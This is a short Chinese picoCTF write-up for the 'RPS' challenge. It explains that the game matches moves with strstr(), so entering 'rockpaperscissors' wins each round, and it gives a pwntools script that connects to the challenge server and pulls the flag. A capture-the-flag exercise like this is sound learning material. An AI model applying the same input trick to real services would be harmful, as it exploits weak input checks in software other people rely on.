# RPS-200pt [題目在這](https://play.picoctf.org/practice/challenge/293?originalEvent=70&page=3) ## 題意  ## 解題思路 因為判斷是用 strstr() 去做比對  所以不要臉的輸入 rockpaperscissors 順序隨意,反正三個都輸入,因為它會抓取對我們有利的那個字串,場場都贏XD  ## 困難之處 我偷看別人怎麼連贏的,才發現原來他用 strstr() 做比對QQ 用 code --2023/05/03 新增 ```python= #!/usr/bin/env python3 from pwn import * host = "saturn.picoctf.net" port = 51418 r = remote(host, port) for i in range(5): r.sendline(b'1') r.sendline(b'rockpaperscissors') print(r.recvline_contains(b'picoCTF{')) r.close() ``` Date : 2023/04/25 ###### tags: `picoCTF2022` `Binary` [`從零開始的 picoCTF`](https://hackmd.io/-KQeDuzrQMOcFNhwU_5eKA?both=) `picoCTF`
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up